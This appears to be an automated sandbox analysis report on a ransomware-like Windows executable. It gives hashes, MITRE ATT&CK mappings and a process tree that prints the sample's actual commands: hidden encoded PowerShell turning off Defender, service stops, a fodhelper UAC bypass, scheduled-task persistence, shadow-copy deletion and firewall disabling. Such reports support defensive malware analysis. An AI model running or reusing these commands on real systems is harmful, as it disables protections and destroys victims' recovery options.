369b73c6533602b62a37c7ef0da2b7cbf2abcff06b81dadada1bbb92f4ec6a74

Analysis

max time kernel
17s
max time network
160s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 07:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
carlyscafe.com_hyber.exe
Size 51KB
Sample260504-jletkshx9p
SHA256 369b73c6533602b62a37c7ef0da2b7cbf2abcff06b81dadada1bbb92f4ec6a74
MD5 3877f39bf78b856720f7fcd5bbc6ae51
SHA1 128bf8ddf9b64e4eb4680298e5a1a8da4e59d9e5
SHA512 4c749006499a230af79dc0683728e69a419a1007c609f774fadad9a915050f0398e71b0dc5aaa2a1820de523057cffe923c11f17e0f60f903c0e31d2903c9e94
SSDEEP 768:jVTtLYhD+7o19oDJLnk5zATSulgSs/lnh7e37qPLf9jS0ohE2w:rYhD+YuhnUSgLq3EljS0o7w
TLSH
T13233094837FD4112E5BF4EBE95B190529731F463DD22DB8E0AD8819E09E3B44CC68B6B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 3 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/4060-0-0x00000000008A0000-0x00000000008B4000-memory.dmp	disable_win_def
behavioral2/memory/4060-50-0x000000001B590000-0x000000001B5A0000-memory.dmp	disable_win_def
behavioral2/files/0x001500000002b819-2263.dat	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6016	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	carlyscafe.com_hyber.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2888	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	carlyscafe.com_hyber.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	carlyscafe.com_hyber.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	carlyscafe.com_hyber.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
5368	tasklist.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5924	sc.exe
4424	sc.exe
2056	sc.exe
5968	sc.exe
4772	sc.exe
5072	sc.exe
4844	sc.exe
2324	sc.exe
1744	sc.exe
5988	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3912	ipconfig.exe
3364	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5572	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3380	vssadmin.exe
1516	vssadmin.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "74"	LogonUI.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings	carlyscafe.com_hyber.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command\DelegateExecute	carlyscafe.com_hyber.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command	carlyscafe.com_hyber.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open	carlyscafe.com_hyber.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command	carlyscafe.com_hyber.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell	carlyscafe.com_hyber.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open	carlyscafe.com_hyber.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\carlyscafe.com_hyber.exe"	carlyscafe.com_hyber.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell	carlyscafe.com_hyber.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings	carlyscafe.com_hyber.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6004	schtasks.exe
5904	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
6016	powershell.exe
6016	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5076	LogonUI.exe
Token: SeCreatePagefilePrivilege	5076	LogonUI.exe
Token: SeDebugPrivilege	4060	carlyscafe.com_hyber.exe
Token: SeDebugPrivilege	6016	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4060	carlyscafe.com_hyber.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5076	LogonUI.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4060 wrote to memory of 6016	4060	carlyscafe.com_hyber.exe	80
PID 4060 wrote to memory of 5924	4060	carlyscafe.com_hyber.exe	82
PID 4060 wrote to memory of 5968	4060	carlyscafe.com_hyber.exe	84
PID 4060 wrote to memory of 4424	4060	carlyscafe.com_hyber.exe	86
PID 4060 wrote to memory of 4772	4060	carlyscafe.com_hyber.exe	87
PID 4060 wrote to memory of 5072	4060	carlyscafe.com_hyber.exe	90
PID 4060 wrote to memory of 2056	4060	carlyscafe.com_hyber.exe	92
PID 4060 wrote to memory of 4844	4060	carlyscafe.com_hyber.exe	94
PID 4060 wrote to memory of 2324	4060	carlyscafe.com_hyber.exe	96
PID 4060 wrote to memory of 3908	4060	carlyscafe.com_hyber.exe	98
PID 3908 wrote to memory of 2256	3908	fodhelper.exe	99

C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
"C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe"
1⤵
- Drops file in Drivers directory
- Drops startup file
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6016
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5924
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5968
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4844
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2324
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe"
    3⤵
    PID:2256
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:1808
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  PID:5200
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3380
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:760
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  PID:5732
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5572
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  PID:4180
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5368
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  PID:4472
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  PID:1520
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:6072
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  PID:3608
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  PID:4692
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3364
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5904
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:5736
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1516
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:1712
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:5628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3932
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5988
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:2888
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1744

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3a17055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5076

C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
1⤵
PID:4356

C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
1⤵
PID:5296

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 69KB
SHA256 a4cafe85812dc904fedbcc0868f57d6e6d47f257b03e1b686ea52d60e7de965a
MD5 2162efda4ad9607750678c9a7375d69b
SHA1 1e490bcfb4da5b05bc8260f71d02e42a9433f8f2
SHA512 60e9cf93ee6eb4fe1cd7379ecc15c729d4723cff5ae321276114f55eccaaa8ab15aeb6e78236dc61d5e0044b6197ddda54ef7edda5c2fec023ecfa74652dec7e
SSDEEP 1536:V3PIB0d9vnV1TBp2tm9GErXzlda5+IcbdUrvcE/a44V8OI81lReLvj80Che4:VNn19p2A/rzLa5+yUI4V8T81lReLvo0g
TLSH
T11A634A379A23FCC1673F2D80F05439960C853A6B87B466ACFFC50A9A29D5644DF2E49C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 68KB
SHA256 cfd5a369f26e734ac61fe67afc6a0340062187e602c4f2052cf4c4550913a4bb
MD5 f6bab5b058a1bb7003b9c539fd16197b
SHA1 b60b32bf326edcc2e5a84d3c018dc89849b792b2
SHA512 3f5ef66a606c5b62f76395f15af5ba808ae7360a76ca73c78a15246856dd71174be35628586fdefc7401b4edc274ac0e4de59e49d9d9f784938506625ec810f6
SSDEEP 1536:13PIB0d9vnV1TBp2tm9GErXzlda5+IcbdUrvcE/a44V8OI81lReLvj80CheT:1Nn19p2A/rzLa5+yUI4V8T81lReLvo07
TLSH
T1F8633A379A23FCC1673F2D80F05439960C853A6B97B4566CFFC50A9A29E6244DF2E49C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

carlyscafe.com_hyber.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\carlyscafe.com_hyber.exe.log
Size 660B
SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
MD5 284393596fdd49bebd7b861bf339b82d
SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
TLSH
T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_q52t0elr.inq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q52t0elr.inq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
